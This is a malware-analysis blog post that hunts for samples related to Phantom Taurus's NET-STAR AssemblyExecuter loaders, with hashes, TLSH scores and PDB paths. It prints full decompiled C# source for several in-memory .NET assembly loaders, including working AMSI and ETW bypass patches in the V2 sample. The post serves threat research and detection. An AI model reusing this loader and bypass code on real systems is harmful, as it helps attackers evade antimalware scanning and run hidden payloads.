Phantom Taurus related samples
Overview #
On September 30, Unit42 of Palo Alto Networks released a report about a new Chinese APT thay named Phantom Taurus. They've been tracking the activity of this actor for 2.5 years and now they determined that they knew enough to promote them to a new formally named threat actor.
They describe a new .NET malware suite named NET-STAR, used by the threat actor. They publish 3 components:
IIServerCorebackdoor that consists of anOutlookEN.aspxwebshell that loads a base64-encodedServerCore.dllthat handles the commands. This file is neither available on VirusTotal (VT), nor in our Kaibou Search Services (KSS).AssemblyExecuter V1dynamic assembly loaderAssemblyExecuter V2equipped with Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) bypass capabilities
The following table shows when each of the samples were uploaded to KSS and VT.
| Name | SHA256 | Kaibou upload | VT upload |
|---|---|---|---|
| IIServerCore backdoor | eeed5530fa1cdeb69398dc058aaa01160eab15d4dcdcd6cb841240987db284dc |
- | - |
| AssemblyExecuter V1 | 3e55bf8ecaeec65871e6fca4cb2d4ff2586f83a20c12977858348492d2d0dec4 |
2024-09-18 20:54:29 UTC | 2024-09-19 01:37:36 UTC |
| AssemblyExecuter V2 | afcb6289a4ef48bf23bab16c0266f765fab8353d5e1b673bd6e39b315f83676e |
2025-06-03 03:43:17 UTC | 2025-06-04 04:14:02 UTC |
| AssemblyExecuter V2 | b76e243cf1886bd0e2357cbc7e1d2812c2c0ecc5068e61d681e0d5cff5b8e038 |
2025-06-03 03:48:29 UTC | 2025-06-04 04:13:58 UTC |
The AssemblyExecuter samples are all quite small, a few hundred lines of C# code maximum. It doesn't take much effort to rewrite them from scratch differently. In this report we'll use the following four terms to refer to the relation between the original sample mentioned in the report and a sample we found:
- Matching: The analyzed sample's decompiled code is almost identical to the orignal sample. They most probably come from the same source tree.
- Related: The analyzed sample shows high level of code similarity to the original sample. They have similar functions, variables, use similar imported moduls. These samples could be coming from the same source/author, though with these small samples, there is not much code to select identifying attributes from.
- Similar: The analyzed sample has some matching static or code attributes to the original samples, but achieves its functionality very differently. It may be coming from the same or a completely unrelated source. There is not enough indicators to deem them related.
- Unrelated: The analyzed sample has very different code structure from the original sample. Though the end result functionality may be the same (e.g. executing an assembly with AMSI bypass), the way to program achieves this is has no resemblance of the original sample. We are highly confident this sample comes from a different source.
Analysis #
Searching for these hashes in KSS gives us all three of the Assembly Executer samples listed in the reports:

Assembly Executer V1 (3e55bf...d0dec4) #
There is only one interesting function, run(Hashtable).

Decompiled source code of the function looks like the following. It decodes raw assembly bytes from parameters in memory and invokes it's EntryPoint.
using System;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("ExecuteAssembly")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("ExecuteAssembly")]
[assembly: AssemblyCopyright("Copyright © 2022")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("b37679d5-b8ca-4a0e-b39a-ecfc775bc69b")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace ExecuteAssembly;
public class Run
{
[DllImport("shell32.dll", SetLastError = true)]
private static extern IntPtr CommandLineToArgvW([MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs);
public static string[] commandLineToArgs(string commandLine)
{
int pNumArgs;
IntPtr intPtr = CommandLineToArgvW(commandLine, out pNumArgs);
if (intPtr == IntPtr.Zero)
{
throw new Win32Exception();
}
try
{
string[] array = new string[pNumArgs];
for (int i = 0; i < array.Length; i++)
{
IntPtr ptr = Marshal.ReadIntPtr(intPtr, i * IntPtr.Size);
array[i] = Marshal.PtrToStringUni(ptr);
}
return array;
}
finally
{
Marshal.FreeHGlobal(intPtr);
}
}
public string run(Hashtable parameters)
{
Hashtable hashtable = (Hashtable)parameters["session"];
string commandLine = Encoding.Default.GetString((byte[])parameters["commandLine"]);
byte[] array = (byte[])parameters["protocolFile"];
byte[] array2 = (byte[])parameters["assemblyBytes"];
if (array != null)
{
array2 = (byte[])hashtable[Encoding.Default.GetString(array)];
}
if (array2 == null)
{
return "assemblyBytes is empty";
}
MethodInfo entryPoint = Assembly.Load(array2).EntryPoint;
if ((object)entryPoint == null)
{
return "Unable to find entry point in this assembly";
}
string[] array3 = commandLineToArgs(commandLine);
TextWriter textWriter = Console.Out;
TextWriter error = Console.Error;
MemoryStream memoryStream = new MemoryStream();
TextWriter textWriter2 = new StreamWriter(memoryStream);
Console.SetOut(textWriter2);
Console.SetError(textWriter2);
try
{
entryPoint.Invoke(null, new object[1] { array3 });
}
catch (Exception ex)
{
textWriter2.WriteLine();
textWriter2.Write("Exception:\r\n");
textWriter2.Write(ex.Message);
textWriter2.WriteLine();
textWriter2.Write(ex.StackTrace);
}
finally
{
Console.SetError(error);
Console.SetOut(textWriter);
}
textWriter2.Flush();
textWriter2.Dispose();
return Encoding.Default.GetString(memoryStream.ToArray());
}
}
As it was mentioned in the report The actor changed the compilation time to a random future date to hide the malware’s real compilation timestamp. This is visible on VT, it was set to 2074-06-26 03:26:03 UTC. Another info we may use for similar file matching is the .NET library version by DetectItEasy. Value for this sample is v2.0.50727. We should also take note of the file size: 5632 bytes. File version information will also be important later, Product, and Description are the same and Original Name and Internal Name just have an additional extension at the end.


Let's try to find some similar samples using TLSH similarity search in KSS! We used the threshold of 80 because the more reliable threshold of 40 only gave us the sample itself. The most similar sample (by TLSH) has difference score 53. This is quite high so we should expect many unrelated files that just happen to be of similar size, also using .NET. We have 48416 samples in our database (of the 777 million) that were bellow 80 difference score. We highlighted a few that were uploaded to our database in 2024, because the Unit 42 report stated that V1 was used around this time. To speed up processing of the results, we downloaded the first 10k samples, generated their .cs source code estimations. The largest difference scrote was 70. We searched for Assembly.Load in the source codes because this function call is a core part of the original loader. This gave us 88 results, that we checked manually. In the following section, we list the similar or related files.

Similar samples: 0efa77...edc262, 0d408e...112257 #
The closest sample is 0efa774e33525c571dfbbded346d05acb3a4555c2df72e619b3a82a08aedc262 with difference score 53. And a very similar sample to this one is 0d408efb56ef86c17649aaa2345e227fb91eb58a99a02c4369a3c1bbf5112257 with 67.
| Attribute | Value |
|---|---|
| Name | Stealth_Assembly_Loader.exe |
| SHA256 | 0efa774e33525c571dfbbded346d05acb3a4555c2df72e619b3a82a08aedc262 |
| TLSH | 15C1A51153E88B7AF9778B73AD7797450268F7218D53CF2D28C8560F6D022284D63B70 |
| KSS upload | 2023-06-21 22:04:04 UTC |
| VT upload | 2023-06-21 16:14:25 UTC |
| Relation | Similar |
| PDB | C:\Users\tester\source\repos\Stealth_Assembly_Loader\Stealth_Assembly_Loader\obj\Release\Stealth_Assembly_Loader.pdb |
| Attribute | Value |
|---|---|
| Name | AssemblyLoader.exe |
| SHA256 | 0d408efb56ef86c17649aaa2345e227fb91eb58a99a02c4369a3c1bbf5112257 |
| TLSH | B7B1841193D88332EFBB8B72BD736384537CFB61ACA79B6D24C4562B6D126144933B20 |
| KSS upload | 2025-02-09 05:28:13 UTC |
| VT upload | 2024-06-15 16:49:40 UTC |
| Relation | Similar |
| PDB | E:\DFromYBLaptop\0000\scarg\AssemblyLoader\AssemblyLoader\obj\Release\AssemblyLoader.pdb |
The VirusTotal static info looks promising for both samples. The first sample has exactly the same size (though this is probably mostly coincidence), the creation time is also some seemingly random future date, the .NET version is different. The file version information also follows the same scheme as the original sample. It's worth to take a closer look at these samples.



The program is as simple as the original one. It loads the executable file passed as its first argument to memory and invokes its EntryPoint with the second argument split on spaces.
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("Stealth_Assembly_Loader")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Stealth_Assembly_Loader")]
[assembly: AssemblyCopyright("Copyright © 2023")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("049bdb28-25c3-4108-98e3-7b268f48e416")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace SAA;
internal class Program
{
private static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("Usage:");
Console.WriteLine("AssLdr.exe <FILE.EXE> \"<param1 param2 paramX>\"");
return;
}
byte[] assemblyBytes = File.ReadAllBytes(args[0]);
string[] param = new string[0];
if (args.Length > 1)
{
param = args[1].Split(new char[1] { ' ' });
}
ExeAssem(assemblyBytes, param);
}
public static void ExeAssem(byte[] assemblyBytes, string[] param)
{
MethodInfo entryPoint = Assembly.Load(assemblyBytes).EntryPoint;
object[] array = new string[1][] { param };
object[] parameters = array;
entryPoint.Invoke(null, parameters);
}
}
Source code of 0d408e...112257 is quite similar. It even has an ExecuteAssembly function:
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("AssemblyLoader")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("AssemblyLoader")]
[assembly: AssemblyCopyright("Copyright © 2021")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("682e2551-0820-4807-b0ca-cfe6dd7eea21")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace AssemblyLoader;
internal class Program
{
private static void Main(string[] args)
{
if (args.Length < 1)
{
Console.WriteLine("Usage:");
Console.WriteLine("AssemblyLoader.exe <path_to_file.bin> \"<param1 param2 paramX>\"");
return;
}
string path = args[0];
string[] parameters = new string[0];
if (args.Length > 1)
{
parameters = args[1].Split(new char[1] { ' ' });
}
ExecuteAssembly(File.ReadAllBytes(path), parameters);
}
public static void ExecuteAssembly(byte[] assemblyBytes, string[] parameters)
{
MethodInfo entryPoint = Assembly.Load(assemblyBytes).EntryPoint;
object[] parameters2 = new object[1] { parameters };
entryPoint.Invoke(null, parameters2);
}
}
The generated codes of these two samples are very similar. These samples match each other, they probably come from the same source tree with tiny modifications even though their PDB paths are very different. Compared to the original Assembly Executer V1, these samples are similar or unrelated. Some static information and overall functionality matches the original sample, but code has very different structure.
Related sample a77f41...af9781 #
| Attribute | Value |
|---|---|
| Name | EvalCode.dll |
| SHA256 | a77f418fbc3dfcd3e83b2806755a468c474da37889b85c00439e0626efaf9781 |
| TLSH | DAC1A516E3F4873AE5F60E3A7EA3926146B6F3205C63CA5E0CC4054E4C276610E32BB5 |
| KSS upload | 2024-09-18 20:54:29 UTC |
| VT upload | 2024-09-18 21:32:58 UTC |
| Relation | Related |
The static information is promising though there are differences in .NET version and file size. This sample was uploaded into our database in the same feed file as the original sample, at 2024-09-18 20:54:29 UTC. It was uploaded to VirusTotal 4 hours later than the original sample, at 2024-09-19 01:37:36 UTC.



The generated source code of this sample has many similarities with the original sample. It has a run() function that uses a Hashtable parameter(s) dictionary of byte[] values. The original sample had a functionality to load the assembly bytes from session via protocolFile. If this wasn't specified, the assemblyBytes were loaded and started at EntryPoint so this loads and executable PE file. The protocol functionality from the similar sample is missing, it can still load raw assembly from dllBytes parameter but instead of EntryPoint, it instantiates a type from FullTypeName parameter meaning that it can load DLLs rather than executables. It also has a functionality to directly load C# source code, compile it and create the selected type using runCsharpCode() function.
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.CSharp;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("EvalCode")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("EvalCode")]
[assembly: AssemblyCopyright("Copyright © 2022")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("d15701ae-8e5c-472a-991d-0ba907eeb491")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyVersion("1.0.0.0")]
public class Run
{
private Hashtable parameter;
public override bool Equals(object obj)
{
if (obj is Hashtable)
{
parameter = (Hashtable)obj;
}
return base.Equals(obj);
}
private string runCsharpCode(string code, string typeName)
{
ICodeCompiler val = ((CodeDomProvider)new CSharpCodeProvider()).CreateCompiler();
CompilerParameters val2 = new CompilerParameters();
List<string> list = new List<string>();
Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies();
foreach (Assembly assembly in assemblies)
{
list.Add(assembly.Location);
}
val2.ReferencedAssemblies.AddRange(list.ToArray());
val2.CompilerOptions = "/t:library";
val2.GenerateInMemory = true;
val2.GenerateExecutable = false;
val2.IncludeDebugInformation = false;
CompilerResults val3 = val.CompileAssemblyFromSource(val2, code);
if (((CollectionBase)(object)val3.Errors).Count > 0)
{
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendLine("An exception occurred during compilation");
foreach (CompilerError item in (CollectionBase)(object)val3.Errors)
{
CompilerError val4 = item;
stringBuilder.AppendFormat("[{0}][{1}] Line:{2} Column:{3} ErrorText:{4}\r\n", val4.IsWarning ? "Warning" : "Error", val4.ErrorNumber, val4.Line, val4.Column, val4.ErrorText);
}
return stringBuilder.ToString();
}
return val3.CompiledAssembly.CreateInstance(typeName).ToString();
}
private string run()
{
byte[] array = (byte[])parameter["codeBytes"];
byte[] array2 = (byte[])parameter["dllBytes"];
string text = Encoding.Default.GetString((byte[])parameter["FullTypeName"]);
if ((array != null || array2 != null) && text != null)
{
try
{
if (array != null)
{
return runCsharpCode(Encoding.Default.GetString(array), text);
}
if (array2 != null)
{
return Assembly.Load(array2).CreateInstance(text).ToString();
}
}
catch (Exception ex)
{
return ex.ToString();
}
return "not result";
}
return "codeBytes is empty";
}
public override string ToString()
{
parameter["result"] = Encoding.Default.GetBytes(run());
return base.ToString();
}
}
This is very similar functionality to the original V1 sample. The static information, file name, Creation Time, first submission date also correlates with it. The file has no PDB path, just like the original sample. The generated source codes of the two samples have some similar characteristics but are different. We deem these samples related.
Based on the last analysis on VT, which happened when the sample was uploaded (a year ago), there are 0 detections. We did not trigger reanalysis for the sample.

Checking many other samples with differences 62 and above reveal multiple files that also have Creation Time set to a random future date while the programs themselves have very different, even meaningless functionalities. So this indicator might not be significant after all. Yet we didn't find any Visual Studio settings that would do this TimeDateStamp manipulation automatically. We also checked this field with other PE header parsing tools and the values were all matching the ones on VT, so it wasn't just erroneous parsing.
We also searched for samples to this specific date, now that two related samples were found in this batch. All of the other samples in the response were unrelated to these files.

Assembly Executer V2 (afcb62...83676e, b76e24...b8e038) #
As stated by the Unit42 report V2 is an enhanced version of AssemblyExecuter V1 that is also equipped with Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) bypass capabilities
The decompiled code of the two samples are functionally identical. It expects a command line argument in the following form:
<base64-encoded-assembly>####etw####amsi####<arguments to assembly>. etw will trigger loading ntdll.dll into memory and overwriting the first instruction of EtwEventWrite with ret (c3 00), a known ETW bypass technique. Similarly amsi will load amsi.dll and overwrite the first instructions of AmsiScanBuffer with mov eax, 0x80070057; ret (b8 57 00 07 80 c3) so it returns E_INVALIDARG (also known). After these are performed, the assembly's EntryPoint is invoked.

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: AssemblyTitle("ExecuteAssembly")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("ExecuteAssembly")]
[assembly: AssemblyCopyright("Copyright © 2024")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: Guid("8e6e50f9-28d0-46b2-8e77-6f82f9c57215")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: TargetFramework(".NETFramework,Version=v4.6", FrameworkDisplayName = ".NET Framework 4.6")]
[assembly: AssemblyVersion("1.0.0.0")]
namespace ExecuteAssembly;
public class Service
{
public byte[] AsemblyBytes { get; set; }
public string CommandLine { get; set; }
public bool ETW { get; set; }
private string RunAssembly()
{
StringWriter stringWriter = new StringWriter();
Console.SetOut(stringWriter);
MethodInfo entryPoint = Assembly.Load(AsemblyBytes).EntryPoint;
object[] array = null;
if (!string.IsNullOrEmpty(CommandLine))
{
string[] array2 = CommandLine.Split(new char[1] { ' ' });
array = new object[1] { array2 };
}
else
{
array = new object[1] { new string[0] };
}
entryPoint.Invoke(null, array);
string text = stringWriter.ToString();
Console.SetOut(Console.Out);
Console.WriteLine(text);
return text;
}
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
private void BypassETW()
{
string procName = "EtwEventWrite";
IntPtr procAddress = GetProcAddress(LoadLibrary("ntdll.dll"), procName);
byte[] array = new byte[2] { 195, 0 };
VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var lpflOldProtect);
Marshal.Copy(array, 0, procAddress, array.Length);
VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, lpflOldProtect, out var _);
}
private void BypassAmsi()
{
string procName = "AmsiScanBuffer";
IntPtr procAddress = GetProcAddress(LoadLibrary("amsi.dll"), procName);
byte[] array = new byte[6] { 184, 87, 0, 7, 128, 195 };
VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, 64u, out var lpflOldProtect);
Marshal.Copy(array, 0, procAddress, array.Length);
VirtualProtect(procAddress, (UIntPtr)(ulong)array.Length, lpflOldProtect, out var _);
}
public List<Dictionary<string, string>> Run(string Params)
{
List<Dictionary<string, string>> list = new List<Dictionary<string, string>>();
Dictionary<string, string> dictionary = new Dictionary<string, string>();
try
{
string[] array = Params.Split(new string[1] { "####" }, StringSplitOptions.None);
AsemblyBytes = Convert.FromBase64String(array[0]);
if (array.Length > 1)
{
if (array[1] == "etw")
{
BypassETW();
}
if (array[2] == "amsi")
{
BypassAmsi();
}
CommandLine = array[3];
}
list.Add(new Dictionary<string, string> {
{
"exec_result",
RunAssembly()
} });
dictionary.Add("status", "ok");
list.Add(dictionary);
}
catch (Exception ex)
{
dictionary.Add("status", "error");
dictionary.Add("msg", ex.Message);
list.Add(dictionary);
}
return list;
}
}
Thought the decompiled code of the two samples is almost identical, the files themselves have large differing parts. Maybe because afcb62...83676e was compiled in Release mode and b76e24...b8e038 was compiled in Debug mode.
C:\Users\admin\Desktop\starshard\NETstarshard\ExecuteAssembly\obj\Release\ExecuteAssembly.pdbC:\Users\admin\Desktop\starshard\NETstarshard\ExecuteAssembly\obj\Debug\ExecuteAssembly.pdb
The TLSH difference of these two samples is 76, quite high but considering that ~25% of the bytes are different between the two samples (taking into account their shifts and offsets), it's not that much. Still this means that we need to look for similar samples to both of them separately.
Searching for similars to afcb62...83676e yields 11214 samples while b76e24...b8e038 has 1894 results with threshold 80. We dowloaded all of them and generated their source codes. Then we filtered those containing the case-insensitive string amsi in them. This gave us 61 samples 2 of these were the original ones.

None of these 63 samples are related or similar to the Assembly Executer V2 samples. They all implement some kind of AMSI bypass, mostly the same technique as the original samples but there are others as well. There are examples to ETW and WLDP bypasses as well. Further analysis of these samples is detailed in the related blog post.
Summary #
In this report we searched for similar samples to Assembly Executer V1 and V2 of Phantom Taurus. We found that the 3 original samples were inserted to Kaibou earlier than they were uploaded to VT. We analyzed the decompiled source codes of 22k .NET malware samples. Found two similar and one related samples to V1. The related sample currently has 0 detections on VirusTotal (1 year old analysis). There are 61 samples from the KSS similarity search results that contain some kind of AMSI bypass but all of them are quite different from the V2 samples. Their analysis is detailed in the related blog post
Samples #
| Attribute | Value |
|---|---|
| Name | ServerCore.dll |
| SHA256 | eeed5530fa1cdeb69398dc058aaa01160eab15d4dcdcd6cb841240987db284dc |
| TLSH | ? |
| KSS upload | - |
| VT upload | - |
| Relation | Original IIServerCore backdoor |
| Attribute | Value |
|---|---|
| Name | ExecuteAssembly.dll |
| SHA256 | 3e55bf8ecaeec65871e6fca4cb2d4ff2586f83a20c12977858348492d2d0dec4 |
| TLSH | ADC1940263E88729EDFA8F327D63975202B4B7218D63DE5E0CC4564B2D23A284D31B74 |
| KSS upload | 2024-09-18 20:54:29 UTC |
| VT upload | 2024-09-19 01:37:36 UTC |
| Relation | Original Assembly Executer V1 |
| Attribute | Value |
|---|---|
| Name | ExecuteAssembly.dll |
| SHA256 | afcb6289a4ef48bf23bab16c0266f765fab8353d5e1b673bd6e39b315f83676e |
| TLSH | F1D1D612DBF84726EDBA0F32FEF393040A31FB21AD53CB6F898955571D223145A22B61 |
| KSS upload | 2025-06-03 03:43:17 UTC |
| VT upload | 2025-06-04 04:14:02 UTC |
| Relation | Original Assembly Executer V2 Release |
| PDB | C:\Users\admin\Desktop\starshard\NETstarshard\ExecuteAssembly\obj\Release\ExecuteAssembly.pdb |
| Attribute | Value |
|---|---|
| Name | ExecuteAssembly.dll |
| SHA256 | b76e243cf1886bd0e2357cbc7e1d2812c2c0ecc5068e61d681e0d5cff5b8e038 |
| TLSH | 30E1E90997E44375ECBA0B32BDF797010B39F6129E63CB6F898C88471D2572816A1F71 |
| KSS upload | 2025-06-03 03:48:29 UTC |
| VT upload | 2025-06-04 04:13:58 UTC |
| Relation | Original Assembly Executer V2 Debug |
| PDB | C:\Users\admin\Desktop\starshard\NETstarshard\ExecuteAssembly\obj\Debug\ExecuteAssembly.pdb |
| Attribute | Value |
|---|---|
| Name | Stealth_Assembly_Loader.exe |
| SHA256 | 0efa774e33525c571dfbbded346d05acb3a4555c2df72e619b3a82a08aedc262 |
| TLSH | 15C1A51153E88B7AF9778B73AD7797450268F7218D53CF2D28C8560F6D022284D63B70 |
| KSS upload | 2023-06-21 22:04:04 UTC |
| VT upload | 2023-06-21 16:14:25 UTC |
| Relation | Similar to Assembly Executer V1 |
| PDB | C:\Users\tester\source\repos\Stealth_Assembly_Loader\Stealth_Assembly_Loader\obj\Release\Stealth_Assembly_Loader.pdb |
| Attribute | Value |
|---|---|
| Name | AssemblyLoader.exe |
| SHA256 | 0d408efb56ef86c17649aaa2345e227fb91eb58a99a02c4369a3c1bbf5112257 |
| TLSH | B7B1841193D88332EFBB8B72BD736384537CFB61ACA79B6D24C4562B6D126144933B20 |
| KSS upload | 2025-02-09 05:28:13 UTC |
| VT upload | 2024-06-15 16:49:40 UTC |
| Relation | Similar to Assembly Executer V1 |
| PDB | E:\DFromYBLaptop\0000\scarg\AssemblyLoader\AssemblyLoader\obj\Release\AssemblyLoader.pdb |
| Attribute | Value |
|---|---|
| Name | EvalCode.dll |
| SHA256 | a77f418fbc3dfcd3e83b2806755a468c474da37889b85c00439e0626efaf9781 |
| TLSH | DAC1A516E3F4873AE5F60E3A7EA3926146B6F3205C63CA5E0CC4054E4C276610E32BB5 |
| KSS upload | 2024-09-18 20:54:29 UTC |
| VT upload | 2024-09-18 21:32:58 UTC |
| Relation | Related to Assembly Executer V1 |
- Previous post: Analysis of .NET AMSI bypass assembly loaders